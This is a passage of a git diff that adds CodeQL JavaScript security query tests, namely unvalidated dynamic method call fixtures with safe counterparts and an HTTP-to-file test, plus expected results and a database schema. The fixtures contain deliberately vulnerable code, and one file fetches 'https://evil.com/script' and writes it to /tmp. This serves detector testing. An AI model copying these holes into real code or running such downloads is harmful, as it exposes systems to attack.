dispatch to unexpected target and cause an exception. | UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | user-controlled | +| UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | user-controlled | +| tst.js:9:5:9:16 | obj[ev.data] | tst.js:6:39:6:40 | ev | tst.js:9:5:9:16 | obj[ev.data] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:9:5:9:16 | obj[ev.data] | tst.js:6:39:6:40 | ev | tst.js:9:5:9:16 | obj[ev.data] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:11:5:11:13 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:11:5:11:13 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:11:5:11:13 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:11:5:11:13 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:18:5:18:6 | fn | tst.js:6:39:6:40 | ev | tst.js:18:5:18:6 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:18:5:18:6 | fn | tst.js:6:39:6:40 | ev | tst.js:18:5:18:6 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:20:7:20:8 | fn | tst.js:6:39:6:40 | ev | tst.js:20:7:20:8 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:21:7:21:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:21:7:21:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:21:7:21:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:21:7:21:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:22:11:22:12 | fn | tst.js:6:39:6:40 | ev | tst.js:22:11:22:12 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:26:7:26:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:26:7:26:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:26:7:26:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:26:7:26:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:28:7:28:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:28:7:28:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled | +| tst.js:50:5:50:6 | fn | tst.js:47:39:47:40 | ev | tst.js:50:5:50:6 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:47:39:47:40 | ev | user-controlled | diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.js new file mode 100644 index 00000000000..b7d99c2c9ee --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.js @@ -0,0 +1,16 @@ +var express = require('express'); +var app = express(); + +var actions = { + play(data) { + // ... + }, + pause(data) { + // ... + } +} + +app.get('/perform/:action/:payload', function(req, res) { + let action = actions[req.params.action]; + res.end(action(req.params.payload)); +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.qlref b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.qlref new file mode 100644 index 00000000000..37cbe7fb20e --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.qlref @@ -0,0 +1 @@ +Security/CWE-754/UnvalidatedDynamicMethodCall.ql diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood.js new file mode 100644 index 00000000000..9d91149e384 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood.js @@ -0,0 +1,19 @@ +var express = require('express'); +var app = express(); + +var actions = new Map(); +actions.put("play", function (data) { + // ... +}); +actions.put("pause", function(data) { + // ... +}); + +app.get('/perform/:action/:payload', function(req, res) { + if (actions.has(req.params.action)) { + let action = actions.get(req.params.action); + res.end(action(req.params.payload)); + } else { + res.end("Unsupported action."); + } +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood2.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood2.js new file mode 100644 index 00000000000..07f6f756f06 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood2.js @@ -0,0 +1,22 @@ +var express = require('express'); +var app = express(); + +var actions = { + play(data) { + // ... + }, + pause(data) { + // ... + } +} + +app.get('/perform/:action/:payload', function(req, res) { + if (actions.hasOwnProperty(req.params.action)) { + let action = actions[req.params.action]; + if (typeof action === 'function') { + res.end(action(req.params.payload)); + return; + } + } + res.end("Unsupported action."); +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-754/tst.js b/javascript/ql/test/query-tests/Security/CWE-754/tst.js new file mode 100644 index 00000000000..a75da3ed6da --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-754/tst.js @@ -0,0 +1,54 @@ +(function() { + let obj = { + foo() {} + }; + + window.addEventListener('message', (ev) => { + let name = JSON.parse(ev.data).name; + + obj[ev.data](); // NOT OK: might not be a function + + obj[name](); // NOT OK: might not be a function + + try { + obj[name](); // OK: exception is caught + } catch(e) {} + + let fn = obj[name]; + fn(); // NOT OK: might not be a function + if (typeof fn == 'function') { + fn(); // NOT OK: might be `valueOf` + obj[name](); // NOT OK: might be `__defineSetter__` + new fn(); // NOT OK: might be `valueOf` or `toString` + } + + if (obj[name]) + obj[name](); // NOT OK + if (typeof obj[name] === 'function') + obj[name](); // NOT OK + + if (obj.hasOwnProperty(name)) { + obj[name](); // NOT OK, but not flagged + } + + let key = "$" + name; + obj[key](); // NOT OK, but not flagged + if (typeof obj[key] === 'function') + obj[key](); // OK + + if (typeof fn === 'function') { + fn.apply(obj); // OK + } + }); + + let obj2 = Object.create(null); + obj2.foo = function() {}; + + window.addEventListener('message', (ev) => { + let name = JSON.parse(ev.data).name; + let fn = obj2[name]; + fn(); // NOT OK: might not be a function + if (typeof fn == 'function') + fn(); // OK: cannot be from prototype + }); +})(); diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected index 05b6a4a0849..293336b47f9 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected @@ -1,15 +1,19 @@ nodes +| HttpToFileAccess.js:5:18:5:18 | d | +| HttpToFileAccess.js:6:37:6:37 | d | | tst.js:15:26:15:26 | c | | tst.js:16:33:16:33 | c | | tst.js:19:25:19:25 | c | | tst.js:23:27:23:26 | c | | tst.js:24:22:24:22 | c | edges +| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | | tst.js:15:26:15:26 | c | tst.js:23:27:23:26 | c | | tst.js:23:27:23:26 | c | tst.js:24:22:24:22 | c | #select +| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | $@ flows to file system | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data | | tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data | | tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data | | tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data | diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js new file mode 100644 index 00000000000..77645d0f3ac --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js @@ -0,0 +1,8 @@ +var https = require("https"); +var fs = require("fs"); + +https.get('https://evil.com/script', res => { + res.on("data", d => { + fs.writeFileSync("/tmp/script", d) + }); +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js b/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js index 93059a72cdd..0e499b691af 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js +++ b/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js @@ -35,7 +35,7 @@ * @externs * @fileoverview Definitions for module "fs" */ - var fs = {}; +var fs = {}; /** * @param {string} filename @@ -44,7 +44,8 @@ * @return {void} */ fs.writeFile = function(filename, data, callback) {}; - /** + +/** * @param {string} filename * @param {*} data * @param {{encoding: string, mode: number, flag: string}} options @@ -52,11 +53,11 @@ fs.writeFile = function(filename, data, callback) {}; * @return {void} */ fs.writeFile = function(filename, data, options, callback) {}; - /** + +/** * @param {string} filename * @param {*} data - * @param {{encoding: string, mode: string, flag: string}} options - * @param {(function(NodeJS.ErrnoException): void)=} callback + * @param {{encoding: string, mode: string, flag: string}=} options * @return {void} */ -fs.writeFile = function(filename, data, options, callback) {}; +fs.writeFileSync = function(filename, data, options) {}; diff --git a/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/old.dbscheme b/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/old.dbscheme new file mode 100644 index 00000000000..6486c78671c --- /dev/null +++ b/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/old.dbscheme @@ -0,0 +1,1080 @@ +/*** Standard fragments ***/ + +/** Files and folders **/ + +@location = @location_default; + +locations_default(unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref + ); + +@sourceline = @locatable; + +numlines(int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref + ); + + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files(unique int id: @file, + varchar(900) name: string ref, + varchar(900) simple: string ref, + varchar(900) ext: string ref, + int fromSource: int ref); + +folders(unique int id: @folder, + varchar(900) name: string ref, + varchar(900) simple: string ref); + + +@container = @folder | @file ; + + +containerparent(int parent: @container ref, + unique int child: @container ref); + +/** Duplicate code **/ + +duplicateCode( + unique int id : @duplication, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +similarCode( + unique int id : @similarity, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +@duplication_or_similarity = @duplication | @similarity; + +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref); + +/** External data **/ + +externalData( + int id : @externalDataElement, + varchar(900) path : string ref, + int column: int ref, + varchar(900) value : string ref +); + +snapshotDate(unique date snapshotDate : date ref); + +sourceLocationPrefix(varchar(900) prefix : string ref); + +/** Version control data **/ + +svnentries( + int id : @svnentry, + varchar(500) revision : string ref, + varchar(500) author : string ref, + date revisionDate : date ref, + int changeSize : int ref +); + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + varchar(500) action : string ref +); + +svnentrymsg( + int id : @svnentry ref, + varchar(500) message : string ref +); + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +); + + +/*** JavaScript-specific part ***/ + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +isExterns (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url; + +isModule (int tl: @toplevel ref); +isNodejs (int tl: @toplevel ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmtparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmtContainers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jumpTargets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmtparent = @stmt | @toplevel | @functionexpr | @arrowfunctionexpr; +@stmt_container = @toplevel | @function | @namespacedeclaration | @externalmoduledeclaration | @globalaugmentationdeclaration; + +case @stmt.kind of + 0 = @emptystmt +| 1 = @blockstmt +| 2 = @exprstmt +| 3 = @ifstmt +| 4 = @labeledstmt +| 5 = @breakstmt +| 6 = @continuestmt +| 7 = @withstmt +| 8 = @switchstmt +| 9 = @returnstmt +| 10 = @throwstmt +| 11 = @trystmt +| 12 = @whilestmt +| 13 = @dowhilestmt +| 14 = @forstmt +| 15 = @forinstmt +| 16 = @debuggerstmt +| 17 = @functiondeclstmt +| 18 = @vardeclstmt +| 19 = @case +| 20 = @catchclause +| 21 = @forofstmt +| 22 = @constdeclstmt +| 23 = @letstmt +| 24 = @legacy_letstmt +| 25 = @foreachstmt +| 26 = @classdeclstmt +| 27 = @importdeclaration +| 28 = @exportalldeclaration +| 29 = @exportdefaultdeclaration +| 30 = @exportnameddeclaration +| 31 = @namespacedeclaration +| 32 = @importequalsdeclaration +| 33 = @exportassigndeclaration +| 34 = @interfacedeclaration +| 35 = @typealiasdeclaration +| 36 = @enumdeclaration +| 37 = @externalmoduledeclaration +| 38 = @exportasnamespacedeclaration +| 39 = @globalaugmentationdeclaration +; + +@declstmt = @vardeclstmt | @constdeclstmt | @letstmt | @legacy_letstmt; + +@exportdeclaration = @exportalldeclaration | @exportdefaultdeclaration | @exportnameddeclaration; + +@namespacedefinition = @namespacedeclaration | @enumdeclaration; +@typedefinition = @classdefinition | @interfacedeclaration | @enumdeclaration | @typealiasdeclaration | @enum_member; + +isInstantiated(unique int decl: @namespacedeclaration ref); + +@declarablestmt = @declstmt | @namespacedeclaration | @classdeclstmt | @functiondeclstmt | @enumdeclaration | @externalmoduledeclaration | @globalaugmentationdeclaration; +hasDeclareKeyword(unique int stmt: @declarablestmt ref); + +isForAwaitOf(unique int forof: @forofstmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @exprparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @exprortype ref); + +enclosingStmt (unique int expr: @exprortype ref, + int stmt: @stmt ref); + +exprContainers (unique int expr: @exprortype ref, + int container: @stmt_container ref); + +arraySize (unique int ae: @arraylike ref, + int sz: int ref); + +isDelegating (int yield: @yieldexpr ref); + +@exprorstmt = @expr | @stmt; +@exprortype = @expr | @typeexpr; +@exprparent = @exprorstmt | @property | @functiontypeexpr; +@arraylike = @arrayexpr | @arraypattern; + +case @expr.kind of + 0 = @label +| 1 = @nullliteral +| 2 = @booleanliteral +| 3 = @numberliteral +| 4 = @stringliteral +| 5 = @regexpliteral +| 6 = @thisexpr +| 7 = @arrayexpr +| 8 = @objexpr +| 9 = @functionexpr +| 10 = @seqexpr +| 11 = @conditionalexpr +| 12 = @newexpr +| 13 = @callexpr +| 14 = @dotexpr +| 15 = @indexexpr +| 16 = @negexpr +| 17 = @plusexpr +| 18 = @lognotexpr +| 19 = @bitnotexpr +| 20 = @typeofexpr +| 21 = @voidexpr +| 22 = @deleteexpr +| 23 = @eqexpr +| 24 = @neqexpr +| 25 = @eqqexpr +| 26 = @neqqexpr +| 27 = @ltexpr +| 28 = @leexpr +| 29 = @gtexpr +| 30 = @geexpr +| 31 = @lshiftexpr +| 32 = @rshiftexpr +| 33 = @urshiftexpr +| 34 = @addexpr +| 35 = @subexpr +| 36 = @mulexpr +| 37 = @divexpr +| 38 = @modexpr +| 39 = @bitorexpr +| 40 = @xorexpr +| 41 = @bitandexpr +| 42 = @inexpr +| 43 = @instanceofexpr +| 44 = @logandexpr +| 45 = @logorexpr +| 47 = @assignexpr +| 48 = @assignaddexpr +| 49 = @assignsubexpr +| 50 = @assignmulexpr +| 51 = @assigndivexpr +| 52 = @assignmodexpr +| 53 = @assignlshiftexpr +| 54 = @assignrshiftexpr +| 55 = @assignurshiftexpr +| 56 = @assignorexpr +| 57 = @assignxorexpr +| 58 = @assignandexpr +| 59 = @preincexpr +| 60 = @postincexpr +| 61 = @predecexpr +| 62 = @postdecexpr +| 63 = @parexpr +| 64 = @vardeclarator +| 65 = @arrowfunctionexpr +| 66 = @spreadelement +| 67 = @arraypattern +| 68 = @objectpattern +| 69 = @yieldexpr +| 70 = @taggedtemplateexpr +| 71 = @templateliteral +| 72 = @templateelement +| 73 = @arraycomprehensionexpr +| 74 = @generatorexpr +| 75 = @forincomprehensionblock +| 76 = @forofcomprehensionblock +| 77 = @legacy_letexpr +| 78 = @vardecl +| 79 = @proper_varaccess +| 80 = @classexpr +| 81 = @superexpr +| 82 = @newtargetexpr +| 83 = @namedimportspecifier +| 84 = @importdefaultspecifier +| 85 = @importnamespacespecifier +| 86 = @namedexportspecifier +| 87 = @expexpr +| 88 = @assignexpexpr +| 89 = @jsxelement +| 90 = @jsxqualifiedname +| 91 = @jsxemptyexpr +| 92 = @awaitexpr +| 93 = @functionsentexpr +| 94 = @decorator +| 95 = @exportdefaultspecifier +| 96 = @exportnamespacespecifier +| 97 = @bindexpr +| 98 = @externalmodulereference +| 99 = @dynamicimport +| 100 = @expressionwithtypearguments +| 101 = @prefixtypeassertion +| 102 = @astypeassertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigintliteral +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @vardecl | @varaccess; + +@identifier = @label | @varref | @typeidentifier; + +@literal = @nullliteral | @booleanliteral | @numberliteral | @stringliteral | @regexpliteral | @bigintliteral; + +@propaccess = @dotexpr | @indexexpr; + +@invokeexpr = @newexpr | @callexpr; + +@unaryexpr = @negexpr | @plusexpr | @lognotexpr | @bitnotexpr | @typeofexpr | @voidexpr | @deleteexpr | @spreadelement; + +@equalitytest = @eqexpr | @neqexpr | @eqqexpr | @neqqexpr; + +@comparison = @equalitytest | @ltexpr | @leexpr | @gtexpr | @geexpr; + +@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr; + +@assignment = @assignexpr | @assignaddexpr | @assignsubexpr | @assignmulexpr | @assigndivexpr | @assignmodexpr | @assignexpexpr | @assignlshiftexpr | @assignrshiftexpr | @assignurshiftexpr | @assignorexpr | @assignxorexpr | @assignandexpr; + +@updateexpr = @preincexpr | @postincexpr | @predecexpr | @postdecexpr; + +@pattern = @varref | @arraypattern | @objectpattern; + +@comprehensionexpr = @arraycomprehensionexpr | @generatorexpr; + +@comprehensionblock = @forincomprehensionblock | @forofcomprehensionblock; + +@importspecifier = @namedimportspecifier | @importdefaultspecifier | @importnamespacespecifier; + +@exportspecifier = @namedexportspecifier | @exportdefaultspecifier | @exportnamespacespecifier; + +@typeassertion = @astypeassertion | @prefixtypeassertion; + +@classdefinition = @classdeclstmt | @classexpr; +@interfacedefinition = @interfacedeclaration | @interfacetypeexpr; +@classorinterface = @classdefinition | @interfacedefinition; + +@lexical_decl = @vardecl | @typedecl; +@lexical_access = @varaccess | @localtypeaccess | @localvartypeaccess | @localnamespaceaccess; +@lexical_ref = @lexical_decl | @lexical_access; + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @globalscope +| 1 = @functionscope +| 2 = @catchscope +| 3 = @modulescope +| 4 = @blockscope +| 5 = @forscope +| 6 = @forinscope // for-of scopes work the same as for-in scopes +| 7 = @comprehensionblockscope +| 8 = @classexprscope +| 9 = @namespacescope +| 10 = @classdeclscope +| 11 = @interfacescope +| 12 = @typealiasscope +| 13 = @mappedtypescope +| 14 = @enumscope +| 15 = @externalmodulescope +| 16 = @conditionaltypescope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @functiondeclstmt | @functionexpr | @arrowfunctionexpr; + +@parameterized = @function | @catchclause; +@type_parameterized = @function | @classorinterface | @typealiasdeclaration | @mappedtypeexpr | @infertypeexpr; + +isGenerator (int fun: @function ref); +hasRestParameter (int fun: @function ref); +isAsync (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +isArgumentsObject (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @localvartypeaccess; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @vardecl ref, + int decl: @variable ref); + +@typebind_id = @localtypeaccess | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @typedecl | @vardecl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @vardecl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @localnamespaceaccess | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +; + +@property_parent = @objexpr | @objectpattern | @classdefinition | @jsxelement | @interfacedefinition | @enumdeclaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @vardeclarator; + +isComputed (int id: @property ref); +isMethod (int id: @property ref); +isStatic (int id: @property ref); +isAbstractMember (int id: @property ref); +isConstEnum (int id: @enumdeclaration ref); +isAbstractClass (int id: @classdeclstmt ref); + +hasPublicKeyword (int id: @property ref); +hasPrivateKeyword (int id: @property ref); +hasProtectedKeyword (int id: @property ref); +hasReadonlyKeyword (int id: @property ref); +isOptionalMember (int id: @property ref); +hasDefiniteAssignmentAssertion (int id: @field_or_vardeclarator ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @functionexpr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @localtypeaccess +| 1 = @typedecl +| 2 = @keywordtypeexpr +| 3 = @stringliteraltypeexpr +| 4 = @numberliteraltypeexpr +| 5 = @booleanliteraltypeexpr +| 6 = @arraytypeexpr +| 7 = @uniontypeexpr +| 8 = @indexedaccesstypeexpr +| 9 = @intersectiontypeexpr +| 10 = @parenthesizedtypeexpr +| 11 = @tupletypeexpr +| 12 = @keyoftypeexpr +| 13 = @qualifiedtypeaccess +| 14 = @generictypeexpr +| 15 = @typelabel +| 16 = @typeoftypeexpr +| 17 = @localvartypeaccess +| 18 = @qualifiedvartypeaccess +| 19 = @thisvartypeaccess +| 20 = @istypeexpr +| 21 = @interfacetypeexpr +| 22 = @typeparameter +| 23 = @plainfunctiontypeexpr +| 24 = @constructortypeexpr +| 25 = @localnamespaceaccess +| 26 = @qualifiednamespaceaccess +| 27 = @mappedtypeexpr +| 28 = @conditionaltypeexpr +| 29 = @infertypeexpr +| 30 = @importtypeaccess +| 31 = @importnamespaceaccess +| 32 = @importvartypeaccess +| 33 = @optionaltypeexpr +| 34 = @resttypeexpr +; + +@typeref = @typeaccess | @typedecl; +@typeidentifier = @typedecl | @localtypeaccess | @typelabel | @localvartypeaccess | @localnamespaceaccess; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literaltypeexpr = @stringliteraltypeexpr | @numberliteraltypeexpr | @booleanliteraltypeexpr; +@typeaccess = @localtypeaccess | @qualifiedtypeaccess | @importtypeaccess; +@vartypeaccess = @localvartypeaccess | @qualifiedvartypeaccess | @thisvartypeaccess | @importvartypeaccess; +@namespaceaccess = @localnamespaceaccess | @qualifiednamespaceaccess | @importnamespaceaccess; +@importtypeexpr = @importtypeaccess | @importnamespaceaccess | @importvartypeaccess; + +@functiontypeexpr = @plainfunctiontypeexpr | @constructortypeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @anytype +| 1 = @stringtype +| 2 = @numbertype +| 3 = @uniontype +| 4 = @truetype +| 5 = @falsetype +| 6 = @typereference +| 7 = @objecttype +| 8 = @canonicaltypevariabletype +| 9 = @typeoftype +| 10 = @voidtype +| 11 = @undefinedtype +| 12 = @nulltype +| 13 = @nevertype +| 14 = @plainsymboltype +| 15 = @uniquesymboltype +| 16 = @objectkeywordtype +| 17 = @intersectiontype +| 18 = @tupletype +| 19 = @lexicaltypevariabletype +| 20 = @thistype +| 21 = @numberliteraltype +| 22 = @stringliteraltype +| 23 = @unknowntype +; + +@booleanliteraltype = @truetype | @falsetype; +@symboltype = @plainsymboltype | @uniquesymboltype; +@unionorintersectiontype = @uniontype | @intersectiontype; +@typevariabletype = @canonicaltypevariabletype | @lexicaltypevariabletype; + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @typereference | @typevariabletype | @typeoftype | @uniquesymboltype; +@ast_node_with_symbol = @typedefinition | @namespacedefinition | @toplevel | @typeaccess | @namespaceaccess | @vardecl | @function | @invokeexpr; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +@literaltype = @stringliteraltype | @numberliteraltype | @booleanliteraltype; +@type_with_literal_value = @stringliteraltype | @numberliteraltype; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @typereference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest( + unique int typ: @type ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslashcomment +| 1 = @slashstarcomment +| 2 = @doccomment +| 3 = @htmlcommentstart +| 4 = @htmlcommentend; + +@htmlcomment = 